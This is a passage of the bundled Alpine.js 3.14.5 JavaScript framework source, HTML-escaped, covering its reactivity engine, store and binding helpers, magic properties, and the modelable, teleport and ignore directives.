        let outerHashLatest = JSON.stringify(outer);
        let innerHashLatest = JSON.stringify(inner);
        if (outerHashLatest !== outerHash) {
          innerSet(cloneIfObject(outer));
        } else if (outerHashLatest !== innerHashLatest) {
          outerSet(cloneIfObject(inner));
        } else {
        }
      }
      outerHash = JSON.stringify(outerGet());
      innerHash = JSON.stringify(innerGet());
    });
    return () =&gt; {
      release(reference);
    };
  }
  function cloneIfObject(value) {
    return typeof value === &quot;object&quot; ? JSON.parse(JSON.stringify(value)) : value;
  }
  function plugin(callback) {
    let callbacks = Array.isArray(callback) ? callback : [callback];
    callbacks.forEach((i) =&gt; i(alpine_default));
  }
  var stores = {};
  var isReactive = false;
  function store(name, value) {
    if (!isReactive) {
      stores = reactive(stores);
      isReactive = true;
    }
    if (value === void 0) {
      return stores[name];
    }
    stores[name] = value;
    initInterceptors(stores[name]);
    if (typeof value === &quot;object&quot; &amp;&amp; value !== null &amp;&amp; value.hasOwnProperty(&quot;init&quot;) &amp;&amp; typeof value.init === &quot;function&quot;) {
      stores[name].init();
    }
  }
  function getStores() {
    return stores;
  }
  var binds = {};
  function bind2(name, bindings) {
    let getBindings = typeof bindings !== &quot;function&quot; ? () =&gt; bindings : bindings;
    if (name instanceof Element) {
      return applyBindingsObject(name, getBindings());
    } else {
      binds[name] = getBindings;
    }
    return () =&gt; {
    };
  }
  function injectBindingProviders(obj) {
    Object.entries(binds).forEach(([name, callback]) =&gt; {
      Object.defineProperty(obj, name, {
        get() {
          return (...args) =&gt; {
            return callback(...args);
          };
        }
      });
    });
    return obj;
  }
  function applyBindingsObject(el, obj, original) {
    let cleanupRunners = [];
    while (cleanupRunners.length)
      cleanupRunners.pop()();
    let attributes = Object.entries(obj).map(([name, value]) =&gt; ({ name, value }));
    let staticAttributes = attributesOnly(attributes);
    attributes = attributes.map((attribute) =&gt; {
      if (staticAttributes.find((attr) =&gt; attr.name === attribute.name)) {
        return {
          name: `x-bind:${attribute.name}`,
          value: `&quot;${attribute.value}&quot;`
        };
      }
      return attribute;
    });
    directives(el, attributes, original).map((handle) =&gt; {
      cleanupRunners.push(handle.runCleanups);
      handle();
    });
    return () =&gt; {
      while (cleanupRunners.length)
        cleanupRunners.pop()();
    };
  }
  var datas = {};
  function data(name, callback) {
    datas[name] = callback;
  }
  function injectDataProviders(obj, context) {
    Object.entries(datas).forEach(([name, callback]) =&gt; {
      Object.defineProperty(obj, name, {
        get() {
          return (...args) =&gt; {
            return callback.bind(context)(...args);
          };
        },
        enumerable: false
      });
    });
    return obj;
  }
  var Alpine2 = {
    get reactive() {
      return reactive;
    },
    get release() {
      return release;
    },
    get effect() {
      return effect;
    },
    get raw() {
      return raw;
    },
    version: &quot;3.14.5&quot;,
    flushAndStopDeferringMutations,
    dontAutoEvaluateFunctions,
    disableEffectScheduling,
    startObservingMutations,
    stopObservingMutations,
    setReactivityEngine,
    onAttributeRemoved,
    onAttributesAdded,
    closestDataStack,
    skipDuringClone,
    onlyDuringClone,
    addRootSelector,
    addInitSelector,
    interceptClone,
    addScopeToNode,
    deferMutations,
    mapAttributes,
    evaluateLater,
    interceptInit,
    setEvaluator,
    mergeProxies,
    extractProp,
    findClosest,
    onElRemoved,
    closestRoot,
    destroyTree,
    interceptor,
    transition,
    setStyles,
    mutateDom,
    directive,
    entangle,
    throttle,
    debounce,
    evaluate,
    initTree,
    nextTick,
    prefixed: prefix,
    prefix: setPrefix,
    plugin,
    magic,
    store,
    start,
    clone,
    cloneNode,
    bound: getBinding,
    $data: scope,
    watch,
    walk,
    data,
    bind: bind2
  };
  var alpine_default = Alpine2;
  function makeMap(str, expectsLowerCase) {
    const map = /* @__PURE__ */ Object.create(null);
    const list = str.split(&quot;,&quot;);
    for (let i = 0; i &lt; list.length; i++) {
      map[list[i]] = true;
    }
    return expectsLowerCase ? (val) =&gt; !!map[val.toLowerCase()] : (val) =&gt; !!map[val];
  }
  var specialBooleanAttrs = `itemscope,allowfullscreen,formnovalidate,ismap,nomodule,novalidate,readonly`;
  var isBooleanAttr2 = /* @__PURE__ */ makeMap(specialBooleanAttrs + `,async,autofocus,autoplay,controls,default,defer,disabled,hidden,loop,open,required,reversed,scoped,seamless,checked,muted,multiple,selected`);
  var EMPTY_OBJ = true ? Object.freeze({}) : {};
  var EMPTY_ARR = true ? Object.freeze([]) : [];
  var hasOwnProperty = Object.prototype.hasOwnProperty;
  var hasOwn = (val, key) =&gt; hasOwnProperty.call(val, key);
  var isArray2 = Array.isArray;
  var isMap = (val) =&gt; toTypeString(val) === &quot;[object Map]&quot;;
  var isString = (val) =&gt; typeof val === &quot;string&quot;;
  var isSymbol = (val) =&gt; typeof val === &quot;symbol&quot;;
  var isObject2 = (val) =&gt; val !== null &amp;&amp; typeof val === &quot;object&quot;;
  var objectToString = Object.prototype.toString;
  var toTypeString = (value) =&gt; objectToString.call(value);
  var toRawType = (value) =&gt; {
    return toTypeString(value).slice(8, -1);
  };
  var isIntegerKey = (key) =&gt; isString(key) &amp;&amp; key !== &quot;NaN&quot; &amp;&amp; key[0] !== &quot;-&quot; &amp;&amp; &quot;&quot; + parseInt(key, 10) === key;
  var cacheStringFunction = (fn) =&gt; {
    const cache = /* @__PURE__ */ Object.create(null);
    return (str) =&gt; {
      const hit = cache[str];
      return hit || (cache[str] = fn(str));
    };
  };
  var camelizeRE = /-(\w)/g;
  var camelize = cacheStringFunction((str) =&gt; {
    return str.replace(camelizeRE, (_, c) =&gt; c ? c.toUpperCase() : &quot;&quot;);
  });
  var hyphenateRE = /\B([A-Z])/g;
  var hyphenate = cacheStringFunction((str) =&gt; str.replace(hyphenateRE, &quot;-$1&quot;).toLowerCase());
  var capitalize = cacheStringFunction((str) =&gt; str.charAt(0).toUpperCase() + str.slice(1));
  var toHandlerKey = cacheStringFunction((str) =&gt; str ? `on${capitalize(str)}` : ``);
  var hasChanged = (value, oldValue) =&gt; value !== oldValue &amp;&amp; (value === value || oldValue === oldValue);
  var targetMap = /* @__PURE__ */ new WeakMap();
  var effectStack = [];
  var activeEffect;
  var ITERATE_KEY = Symbol(true ? &quot;iterate&quot; : &quot;&quot;);
  var MAP_KEY_ITERATE_KEY = Symbol(true ? &quot;Map key iterate&quot; : &quot;&quot;);
  function isEffect(fn) {
    return fn &amp;&amp; fn._isEffect === true;
  }
  function effect2(fn, options = EMPTY_OBJ) {
    if (isEffect(fn)) {
      fn = fn.raw;
    }
    const effect3 = createReactiveEffect(fn, options);
    if (!options.lazy) {
      effect3();
    }
    return effect3;
  }
  function stop(effect3) {
    if (effect3.active) {
      cleanup(effect3);
      if (effect3.options.onStop) {
        effect3.options.onStop();
      }
      effect3.active = false;
    }
  }
  var uid = 0;
  function createReactiveEffect(fn, options) {
    const effect3 = function reactiveEffect() {
      if (!effect3.active) {
        return fn();
      }
      if (!effectStack.includes(effect3)) {
        cleanup(effect3);
        try {
          enableTracking();
          effectStack.push(effect3);
          activeEffect = effect3;
          return fn();
        } finally {
          effectStack.pop();
          resetTracking();
          activeEffect = effectStack[effectStack.length - 1];
        }
      }
    };
    effect3.id = uid++;
    effect3.allowRecurse = !!options.allowRecurse;
    effect3._isEffect = true;
    effect3.active = true;
    effect3.raw = fn;
    effect3.deps = [];
    effect3.options = options;
    return effect3;
  }
  function cleanup(effect3) {
    const { deps } = effect3;
    if (deps.length) {
      for (let i = 0; i &lt; deps.length; i++) {
        deps[i].delete(effect3);
      }
      deps.length = 0;
    }
  }
  var shouldTrack = true;
  var trackStack = [];
  function pauseTracking() {
    trackStack.push(shouldTrack);
    shouldTrack = false;
  }
  function enableTracking() {
    trackStack.push(shouldTrack);
    shouldTrack = true;
  }
  function resetTracking() {
    const last = trackStack.pop();
    shouldTrack = last === void 0 ? true : last;
  }
  function track(target, type, key) {
    if (!shouldTrack || activeEffect === void 0) {
      return;
    }
    let depsMap = targetMap.get(target);
    if (!depsMap) {
      targetMap.set(target, depsMap = /* @__PURE__ */ new Map());
    }
    let dep = depsMap.get(key);
    if (!dep) {
      depsMap.set(key, dep = /* @__PURE__ */ new Set());
    }
    if (!dep.has(activeEffect)) {
      dep.add(activeEffect);
      activeEffect.deps.push(dep);
      if (activeEffect.options.onTrack) {
        activeEffect.options.onTrack({
          effect: activeEffect,
          target,
          type,
          key
        });
      }
    }
  }
  function trigger(target, type, key, newValue, oldValue, oldTarget) {
    const depsMap = targetMap.get(target);
    if (!depsMap) {
      return;
    }
    const effects = /* @__PURE__ */ new Set();
    const add2 = (effectsToAdd) =&gt; {
      if (effectsToAdd) {
        effectsToAdd.forEach((effect3) =&gt; {
          if (effect3 !== activeEffect || effect3.allowRecurse) {
            effects.add(effect3);
          }
        });
      }
    };
    if (type === &quot;clear&quot;) {
      depsMap.forEach(add2);
    } else if (key === &quot;length&quot; &amp;&amp; isArray2(target)) {
      depsMap.forEach((dep, key2) =&gt; {
        if (key2 === &quot;length&quot; || key2 &gt;= newValue) {
          add2(dep);
        }
      });
    } else {
      if (key !== void 0) {
        add2(depsMap.get(key));
      }
      switch (type) {
        case &quot;add&quot;:
          if (!isArray2(target)) {
            add2(depsMap.get(ITERATE_KEY));
            if (isMap(target)) {
              add2(depsMap.get(MAP_KEY_ITERATE_KEY));
            }
          } else if (isIntegerKey(key)) {
            add2(depsMap.get(&quot;length&quot;));
          }
          break;
        case &quot;delete&quot;:
          if (!isArray2(target)) {
            add2(depsMap.get(ITERATE_KEY));
            if (isMap(target)) {
              add2(depsMap.get(MAP_KEY_ITERATE_KEY));
            }
          }
          break;
        case &quot;set&quot;:
          if (isMap(target)) {
            add2(depsMap.get(ITERATE_KEY));
          }
          break;
      }
    }
    const run = (effect3) =&gt; {
      if (effect3.options.onTrigger) {
        effect3.options.onTrigger({
          effect: effect3,
          target,
          key,
          type,
          newValue,
          oldValue,
          oldTarget
        });
      }
      if (effect3.options.scheduler) {
        effect3.options.scheduler(effect3);
      } else {
        effect3();
      }
    };
    effects.forEach(run);
  }
  var isNonTrackableKeys = /* @__PURE__ */ makeMap(`__proto__,__v_isRef,__isVue`);
  var builtInSymbols = new Set(Object.getOwnPropertyNames(Symbol).map((key) =&gt; Symbol[key]).filter(isSymbol));
  var get2 = /* @__PURE__ */ createGetter();
  var readonlyGet = /* @__PURE__ */ createGetter(true);
  var arrayInstrumentations = /* @__PURE__ */ createArrayInstrumentations();
  function createArrayInstrumentations() {
    const instrumentations = {};
    [&quot;includes&quot;, &quot;indexOf&quot;, &quot;lastIndexOf&quot;].forEach((key) =&gt; {
      instrumentations[key] = function(...args) {
        const arr = toRaw(this);
        for (let i = 0, l = this.length; i &lt; l; i++) {
          track(arr, &quot;get&quot;, i + &quot;&quot;);
        }
        const res = arr[key](...args);
        if (res === -1 || res === false) {
          return arr[key](...args.map(toRaw));
        } else {
          return res;
        }
      };
    });
    [&quot;push&quot;, &quot;pop&quot;, &quot;shift&quot;, &quot;unshift&quot;, &quot;splice&quot;].forEach((key) =&gt; {
      instrumentations[key] = function(...args) {
        pauseTracking();
        const res = toRaw(this)[key].apply(this, args);
        resetTracking();
        return res;
      };
    });
    return instrumentations;
  }
  function createGetter(isReadonly = false, shallow = false) {
    return function get3(target, key, receiver) {
      if (key === &quot;__v_isReactive&quot;) {
        return !isReadonly;
      } else if (key === &quot;__v_isReadonly&quot;) {
        return isReadonly;
      } else if (key === &quot;__v_raw&quot; &amp;&amp; receiver === (isReadonly ? shallow ? shallowReadonlyMap : readonlyMap : shallow ? shallowReactiveMap : reactiveMap).get(target)) {
        return target;
      }
      const targetIsArray = isArray2(target);
      if (!isReadonly &amp;&amp; targetIsArray &amp;&amp; hasOwn(arrayInstrumentations, key)) {
        return Reflect.get(arrayInstrumentations, key, receiver);
      }
      const res = Reflect.get(target, key, receiver);
      if (isSymbol(key) ? builtInSymbols.has(key) : isNonTrackableKeys(key)) {
        return res;
      }
      if (!isReadonly) {
        track(target, &quot;get&quot;, key);
      }
      if (shallow) {
        return res;
      }
      if (isRef(res)) {
        const shouldUnwrap = !targetIsArray || !isIntegerKey(key);
        return shouldUnwrap ? res.value : res;
      }
      if (isObject2(res)) {
        return isReadonly ? readonly(res) : reactive2(res);
      }
      return res;
    };
  }
  var set2 = /* @__PURE__ */ createSetter();
  function createSetter(shallow = false) {
    return function set3(target, key, value, receiver) {
      let oldValue = target[key];
      if (!shallow) {
        value = toRaw(value);
        oldValue = toRaw(oldValue);
        if (!isArray2(target) &amp;&amp; isRef(oldValue) &amp;&amp; !isRef(value)) {
          oldValue.value = value;
          return true;
        }
      }
      const hadKey = isArray2(target) &amp;&amp; isIntegerKey(key) ? Number(key) &lt; target.length : hasOwn(target, key);
      const result = Reflect.set(target, key, value, receiver);
      if (target === toRaw(receiver)) {
        if (!hadKey) {
          trigger(target, &quot;add&quot;, key, value);
        } else if (hasChanged(value, oldValue)) {
          trigger(target, &quot;set&quot;, key, value, oldValue);
        }
      }
      return result;
    };
  }
  function deleteProperty(target, key) {
    const hadKey = hasOwn(target, key);
    const oldValue = target[key];
    const result = Reflect.deleteProperty(target, key);
    if (result &amp;&amp; hadKey) {
      trigger(target, &quot;delete&quot;, key, void 0, oldValue);
    }
    return result;
  }
  function has(target, key) {
    const result = Reflect.has(target, key);
    if (!isSymbol(key) || !builtInSymbols.has(key)) {
      track(target, &quot;has&quot;, key);
    }
    return result;
  }
  function ownKeys(target) {
    track(target, &quot;iterate&quot;, isArray2(target) ? &quot;length&quot; : ITERATE_KEY);
    return Reflect.ownKeys(target);
  }
  var mutableHandlers = {
    get: get2,
    set: set2,
    deleteProperty,
    has,
    ownKeys
  };
  var readonlyHandlers = {
    get: readonlyGet,
    set(target, key) {
      if (true) {
        console.warn(`Set operation on key &quot;${String(key)}&quot; failed: target is readonly.`, target);
      }
      return true;
    },
    deleteProperty(target, key) {
      if (true) {
        console.warn(`Delete operation on key &quot;${String(key)}&quot; failed: target is readonly.`, target);
      }
      return true;
    }
  };
  var toReactive = (value) =&gt; isObject2(value) ? reactive2(value) : value;
  var toReadonly = (value) =&gt; isObject2(value) ? readonly(value) : value;
  var toShallow = (value) =&gt; value;
  var getProto = (v) =&gt; Reflect.getPrototypeOf(v);
  function get$1(target, key, isReadonly = false, isShallow = false) {
    target = target[&quot;__v_raw&quot;];
    const rawTarget = toRaw(target);
    const rawKey = toRaw(key);
    if (key !== rawKey) {
      !isReadonly &amp;&amp; track(rawTarget, &quot;get&quot;, key);
    }
    !isReadonly &amp;&amp; track(rawTarget, &quot;get&quot;, rawKey);
    const { has: has2 } = getProto(rawTarget);
    const wrap = isShallow ? toShallow : isReadonly ? toReadonly : toReactive;
    if (has2.call(rawTarget, key)) {
      return wrap(target.get(key));
    } else if (has2.call(rawTarget, rawKey)) {
      return wrap(target.get(rawKey));
    } else if (target !== rawTarget) {
      target.get(key);
    }
  }
  function has$1(key, isReadonly = false) {
    const target = this[&quot;__v_raw&quot;];
    const rawTarget = toRaw(target);
    const rawKey = toRaw(key);
    if (key !== rawKey) {
      !isReadonly &amp;&amp; track(rawTarget, &quot;has&quot;, key);
    }
    !isReadonly &amp;&amp; track(rawTarget, &quot;has&quot;, rawKey);
    return key === rawKey ? target.has(key) : target.has(key) || target.has(rawKey);
  }
  function size(target, isReadonly = false) {
    target = target[&quot;__v_raw&quot;];
    !isReadonly &amp;&amp; track(toRaw(target), &quot;iterate&quot;, ITERATE_KEY);
    return Reflect.get(target, &quot;size&quot;, target);
  }
  function add(value) {
    value = toRaw(value);
    const target = toRaw(this);
    const proto = getProto(target);
    const hadKey = proto.has.call(target, value);
    if (!hadKey) {
      target.add(value);
      trigger(target, &quot;add&quot;, value, value);
    }
    return this;
  }
  function set$1(key, value) {
    value = toRaw(value);
    const target = toRaw(this);
    const { has: has2, get: get3 } = getProto(target);
    let hadKey = has2.call(target, key);
    if (!hadKey) {
      key = toRaw(key);
      hadKey = has2.call(target, key);
    } else if (true) {
      checkIdentityKeys(target, has2, key);
    }
    const oldValue = get3.call(target, key);
    target.set(key, value);
    if (!hadKey) {
      trigger(target, &quot;add&quot;, key, value);
    } else if (hasChanged(value, oldValue)) {
      trigger(target, &quot;set&quot;, key, value, oldValue);
    }
    return this;
  }
  function deleteEntry(key) {
    const target = toRaw(this);
    const { has: has2, get: get3 } = getProto(target);
    let hadKey = has2.call(target, key);
    if (!hadKey) {
      key = toRaw(key);
      hadKey = has2.call(target, key);
    } else if (true) {
      checkIdentityKeys(target, has2, key);
    }
    const oldValue = get3 ? get3.call(target, key) : void 0;
    const result = target.delete(key);
    if (hadKey) {
      trigger(target, &quot;delete&quot;, key, void 0, oldValue);
    }
    return result;
  }
  function clear() {
    const target = toRaw(this);
    const hadItems = target.size !== 0;
    const oldTarget = true ? isMap(target) ? new Map(target) : new Set(target) : void 0;
    const result = target.clear();
    if (hadItems) {
      trigger(target, &quot;clear&quot;, void 0, void 0, oldTarget);
    }
    return result;
  }
  function createForEach(isReadonly, isShallow) {
    return function forEach(callback, thisArg) {
      const observed = this;
      const target = observed[&quot;__v_raw&quot;];
      const rawTarget = toRaw(target);
      const wrap = isShallow ? toShallow : isReadonly ? toReadonly : toReactive;
      !isReadonly &amp;&amp; track(rawTarget, &quot;iterate&quot;, ITERATE_KEY);
      return target.forEach((value, key) =&gt; {
        return callback.call(thisArg, wrap(value), wrap(key), observed);
      });
    };
  }
  function createIterableMethod(method, isReadonly, isShallow) {
    return function(...args) {
      const target = this[&quot;__v_raw&quot;];
      const rawTarget = toRaw(target);
      const targetIsMap = isMap(rawTarget);
      const isPair = method === &quot;entries&quot; || method === Symbol.iterator &amp;&amp; targetIsMap;
      const isKeyOnly = method === &quot;keys&quot; &amp;&amp; targetIsMap;
      const innerIterator = target[method](...args);
      const wrap = isShallow ? toShallow : isReadonly ? toReadonly : toReactive;
      !isReadonly &amp;&amp; track(rawTarget, &quot;iterate&quot;, isKeyOnly ? MAP_KEY_ITERATE_KEY : ITERATE_KEY);
      return {
        next() {
          const { value, done } = innerIterator.next();
          return done ? { value, done } : {
            value: isPair ? [wrap(value[0]), wrap(value[1])] : wrap(value),
            done
          };
        },
        [Symbol.iterator]() {
          return this;
        }
      };
    };
  }
  function createReadonlyMethod(type) {
    return function(...args) {
      if (true) {
        const key = args[0] ? `on key &quot;${args[0]}&quot; ` : ``;
        console.warn(`${capitalize(type)} operation ${key}failed: target is readonly.`, toRaw(this));
      }
      return type === &quot;delete&quot; ? false : this;
    };
  }
  function createInstrumentations() {
    const mutableInstrumentations2 = {
      get(key) {
        return get$1(this, key);
      },
      get size() {
        return size(this);
      },
      has: has$1,
      add,
      set: set$1,
      delete: deleteEntry,
      clear,
      forEach: createForEach(false, false)
    };
    const shallowInstrumentations2 = {
      get(key) {
        return get$1(this, key, false, true);
      },
      get size() {
        return size(this);
      },
      has: has$1,
      add,
      set: set$1,
      delete: deleteEntry,
      clear,
      forEach: createForEach(false, true)
    };
    const readonlyInstrumentations2 = {
      get(key) {
        return get$1(this, key, true);
      },
      get size() {
        return size(this, true);
      },
      has(key) {
        return has$1.call(this, key, true);
      },
      add: createReadonlyMethod(&quot;add&quot;),
      set: createReadonlyMethod(&quot;set&quot;),
      delete: createReadonlyMethod(&quot;delete&quot;),
      clear: createReadonlyMethod(&quot;clear&quot;),
      forEach: createForEach(true, false)
    };
    const shallowReadonlyInstrumentations2 = {
      get(key) {
        return get$1(this, key, true, true);
      },
      get size() {
        return size(this, true);
      },
      has(key) {
        return has$1.call(this, key, true);
      },
      add: createReadonlyMethod(&quot;add&quot;),
      set: createReadonlyMethod(&quot;set&quot;),
      delete: createReadonlyMethod(&quot;delete&quot;),
      clear: createReadonlyMethod(&quot;clear&quot;),
      forEach: createForEach(true, true)
    };
    const iteratorMethods = [&quot;keys&quot;, &quot;values&quot;, &quot;entries&quot;, Symbol.iterator];
    iteratorMethods.forEach((method) =&gt; {
      mutableInstrumentations2[method] = createIterableMethod(method, false, false);
      readonlyInstrumentations2[method] = createIterableMethod(method, true, false);
      shallowInstrumentations2[method] = createIterableMethod(method, false, true);
      shallowReadonlyInstrumentations2[method] = createIterableMethod(method, true, true);
    });
    return [
      mutableInstrumentations2,
      readonlyInstrumentations2,
      shallowInstrumentations2,
      shallowReadonlyInstrumentations2
    ];
  }
  var [mutableInstrumentations, readonlyInstrumentations, shallowInstrumentations, shallowReadonlyInstrumentations] = /* @__PURE__ */ createInstrumentations();
  function createInstrumentationGetter(isReadonly, shallow) {
    const instrumentations = shallow ? isReadonly ? shallowReadonlyInstrumentations : shallowInstrumentations : isReadonly ? readonlyInstrumentations : mutableInstrumentations;
    return (target, key, receiver) =&gt; {
      if (key === &quot;__v_isReactive&quot;) {
        return !isReadonly;
      } else if (key === &quot;__v_isReadonly&quot;) {
        return isReadonly;
      } else if (key === &quot;__v_raw&quot;) {
        return target;
      }
      return Reflect.get(hasOwn(instrumentations, key) &amp;&amp; key in target ? instrumentations : target, key, receiver);
    };
  }
  var mutableCollectionHandlers = {
    get: /* @__PURE__ */ createInstrumentationGetter(false, false)
  };
  var readonlyCollectionHandlers = {
    get: /* @__PURE__ */ createInstrumentationGetter(true, false)
  };
  function checkIdentityKeys(target, has2, key) {
    const rawKey = toRaw(key);
    if (rawKey !== key &amp;&amp; has2.call(target, rawKey)) {
      const type = toRawType(target);
      console.warn(`Reactive ${type} contains both the raw and reactive versions of the same object${type === `Map` ? ` as keys` : ``}, which can lead to inconsistencies. Avoid differentiating between the raw and reactive versions of an object and only use the reactive version if possible.`);
    }
  }
  var reactiveMap = /* @__PURE__ */ new WeakMap();
  var shallowReactiveMap = /* @__PURE__ */ new WeakMap();
  var readonlyMap = /* @__PURE__ */ new WeakMap();
  var shallowReadonlyMap = /* @__PURE__ */ new WeakMap();
  function targetTypeMap(rawType) {
    switch (rawType) {
      case &quot;Object&quot;:
      case &quot;Array&quot;:
        return 1;
      case &quot;Map&quot;:
      case &quot;Set&quot;:
      case &quot;WeakMap&quot;:
      case &quot;WeakSet&quot;:
        return 2;
      default:
        return 0;
    }
  }
  function getTargetType(value) {
    return value[&quot;__v_skip&quot;] || !Object.isExtensible(value) ? 0 : targetTypeMap(toRawType(value));
  }
  function reactive2(target) {
    if (target &amp;&amp; target[&quot;__v_isReadonly&quot;]) {
      return target;
    }
    return createReactiveObject(target, false, mutableHandlers, mutableCollectionHandlers, reactiveMap);
  }
  function readonly(target) {
    return createReactiveObject(target, true, readonlyHandlers, readonlyCollectionHandlers, readonlyMap);
  }
  function createReactiveObject(target, isReadonly, baseHandlers, collectionHandlers, proxyMap) {
    if (!isObject2(target)) {
      if (true) {
        console.warn(`value cannot be made reactive: ${String(target)}`);
      }
      return target;
    }
    if (target[&quot;__v_raw&quot;] &amp;&amp; !(isReadonly &amp;&amp; target[&quot;__v_isReactive&quot;])) {
      return target;
    }
    const existingProxy = proxyMap.get(target);
    if (existingProxy) {
      return existingProxy;
    }
    const targetType = getTargetType(target);
    if (targetType === 0) {
      return target;
    }
    const proxy = new Proxy(target, targetType === 2 ? collectionHandlers : baseHandlers);
    proxyMap.set(target, proxy);
    return proxy;
  }
  function toRaw(observed) {
    return observed &amp;&amp; toRaw(observed[&quot;__v_raw&quot;]) || observed;
  }
  function isRef(r) {
    return Boolean(r &amp;&amp; r.__v_isRef === true);
  }
  magic(&quot;nextTick&quot;, () =&gt; nextTick);
  magic(&quot;dispatch&quot;, (el) =&gt; dispatch2.bind(dispatch2, el));
  magic(&quot;watch&quot;, (el, { evaluateLater: evaluateLater2, cleanup: cleanup2 }) =&gt; (key, callback) =&gt; {
    let evaluate22 = evaluateLater2(key);
    let getter = () =&gt; {
      let value;
      evaluate22((i) =&gt; value = i);
      return value;
    };
    let unwatch = watch(getter, callback);
    cleanup2(unwatch);
  });
  magic(&quot;store&quot;, getStores);
  magic(&quot;data&quot;, (el) =&gt; scope(el));
  magic(&quot;root&quot;, (el) =&gt; closestRoot(el));
  magic(&quot;refs&quot;, (el) =&gt; {
    if (el._x_refs_proxy)
      return el._x_refs_proxy;
    el._x_refs_proxy = mergeProxies(getArrayOfRefObject(el));
    return el._x_refs_proxy;
  });
  function getArrayOfRefObject(el) {
    let refObjects = [];
    findClosest(el, (i) =&gt; {
      if (i._x_refs)
        refObjects.push(i._x_refs);
    });
    return refObjects;
  }
  var globalIdMemo = {};
  function findAndIncrementId(name) {
    if (!globalIdMemo[name])
      globalIdMemo[name] = 0;
    return ++globalIdMemo[name];
  }
  function closestIdRoot(el, name) {
    return findClosest(el, (element) =&gt; {
      if (element._x_ids &amp;&amp; element._x_ids[name])
        return true;
    });
  }
  function setIdRoot(el, name) {
    if (!el._x_ids)
      el._x_ids = {};
    if (!el._x_ids[name])
      el._x_ids[name] = findAndIncrementId(name);
  }
  magic(&quot;id&quot;, (el, { cleanup: cleanup2 }) =&gt; (name, key = null) =&gt; {
    let cacheKey = `${name}${key ? `-${key}` : &quot;&quot;}`;
    return cacheIdByNameOnElement(el, cacheKey, cleanup2, () =&gt; {
      let root = closestIdRoot(el, name);
      let id = root ? root._x_ids[name] : findAndIncrementId(name);
      return key ? `${name}-${id}-${key}` : `${name}-${id}`;
    });
  });
  interceptClone((from, to) =&gt; {
    if (from._x_id) {
      to._x_id = from._x_id;
    }
  });
  function cacheIdByNameOnElement(el, cacheKey, cleanup2, callback) {
    if (!el._x_id)
      el._x_id = {};
    if (el._x_id[cacheKey])
      return el._x_id[cacheKey];
    let output = callback();
    el._x_id[cacheKey] = output;
    cleanup2(() =&gt; {
      delete el._x_id[cacheKey];
    });
    return output;
  }
  magic(&quot;el&quot;, (el) =&gt; el);
  warnMissingPluginMagic(&quot;Focus&quot;, &quot;focus&quot;, &quot;focus&quot;);
  warnMissingPluginMagic(&quot;Persist&quot;, &quot;persist&quot;, &quot;persist&quot;);
  function warnMissingPluginMagic(name, magicName, slug) {
    magic(magicName, (el) =&gt; warn(`You can&#039;t use [$${magicName}] without first installing the &quot;${name}&quot; plugin here: https://alpinejs.dev/plugins/${slug}`, el));
  }
  directive(&quot;modelable&quot;, (el, { expression }, { effect: effect3, evaluateLater: evaluateLater2, cleanup: cleanup2 }) =&gt; {
    let func = evaluateLater2(expression);
    let innerGet = () =&gt; {
      let result;
      func((i) =&gt; result = i);
      return result;
    };
    let evaluateInnerSet = evaluateLater2(`${expression} = __placeholder`);
    let innerSet = (val) =&gt; evaluateInnerSet(() =&gt; {
    }, { scope: { &quot;__placeholder&quot;: val } });
    let initialValue = innerGet();
    innerSet(initialValue);
    queueMicrotask(() =&gt; {
      if (!el._x_model)
        return;
      el._x_removeModelListeners[&quot;default&quot;]();
      let outerGet = el._x_model.get;
      let outerSet = el._x_model.set;
      let releaseEntanglement = entangle({
        get() {
          return outerGet();
        },
        set(value) {
          outerSet(value);
        }
      }, {
        get() {
          return innerGet();
        },
        set(value) {
          innerSet(value);
        }
      });
      cleanup2(releaseEntanglement);
    });
  });
  directive(&quot;teleport&quot;, (el, { modifiers, expression }, { cleanup: cleanup2 }) =&gt; {
    if (el.tagName.toLowerCase() !== &quot;template&quot;)
      warn(&quot;x-teleport can only be used on a &lt;template&gt; tag&quot;, el);
    let target = getTarget(expression);
    let clone2 = el.content.cloneNode(true).firstElementChild;
    el._x_teleport = clone2;
    clone2._x_teleportBack = el;
    el.setAttribute(&quot;data-teleport-template&quot;, true);
    clone2.setAttribute(&quot;data-teleport-target&quot;, true);
    if (el._x_forwardEvents) {
      el._x_forwardEvents.forEach((eventName) =&gt; {
        clone2.addEventListener(eventName, (e) =&gt; {
          e.stopPropagation();
          el.dispatchEvent(new e.constructor(e.type, e));
        });
      });
    }
    addScopeToNode(clone2, {}, el);
    let placeInDom = (clone3, target2, modifiers2) =&gt; {
      if (modifiers2.includes(&quot;prepend&quot;)) {
        target2.parentNode.insertBefore(clone3, target2);
      } else if (modifiers2.includes(&quot;append&quot;)) {
        target2.parentNode.insertBefore(clone3, target2.nextSibling);
      } else {
        target2.appendChild(clone3);
      }
    };
    mutateDom(() =&gt; {
      placeInDom(clone2, target, modifiers);
      skipDuringClone(() =&gt; {
        initTree(clone2);
        clone2._x_ignore = true;
      })();
    });
    el._x_teleportPutBack = () =&gt; {
      let target2 = getTarget(expression);
      mutateDom(() =&gt; {
        placeInDom(el._x_teleport, target2, modifiers);
      });
    };
    cleanup2(() =&gt; mutateDom(() =&gt; {
      clone2.remove();
      destroyTree(clone2);
    }));
  });
  var teleportContainerDuringClone = document.createElement(&quot;div&quot;);
  function getTarget(expression) {
    let target = skipDuringClone(() =&gt; {
      return document.querySelector(expression);
    }, () =&gt; {
      return teleportContainerDuringClone;
    })();
    if (!target)
      warn(`Cannot find x-teleport element for selector: &quot;${expression}&quot;`);
    return target;
  }
  var handler = () =&gt; {
  };
  handler.inline = (el, { modifiers }, { cleanup: cleanup2 }) =&gt; {
    modifiers.includes(&quot;self&quot;) ? el._x_ignoreSelf = true : el._x_ignore = true;
    cleanup2(() =&gt; {
      modifiers.includes(&quot;self&quot;) ? delete el._x_ignoreSelf : delete el._x_ignore;
    });
  };
  directive(&quot;ignore&quot;, handler);
  directive(&quot;effect&quot;, skipDuringClone((el, { expression }, { effect: effect3 }) =&gt; {
    effect3(evaluateLater(el, expression));
  }));
  function on(el, event, modifiers, callback) {
    let listenerTarget = el;
    let handler4 = (e) =&gt; callback(e);
    let options = {};
    let wrapHandler = (callback2, wrapper) =&gt; (e) =&gt; wrapper(callback2, e);
    if (modifiers.includes(&quot;dot&quot;))
      event = dotSyntax(event);
    if (modifiers.includes(&quot;camel&quot;))
      event = camelCase2(event);
    if (modifiers.includes(&quot;passive&quot;))
      options.passive = true;
    if (modifiers.includes(&quot;capture&quot;))
      options.capture = true;
    if (modifiers.includes(&quot;window&quot;))
      listenerTarget = window;
    if (modifiers.includes(&quot;document&quot;))
      listenerTarget = document;
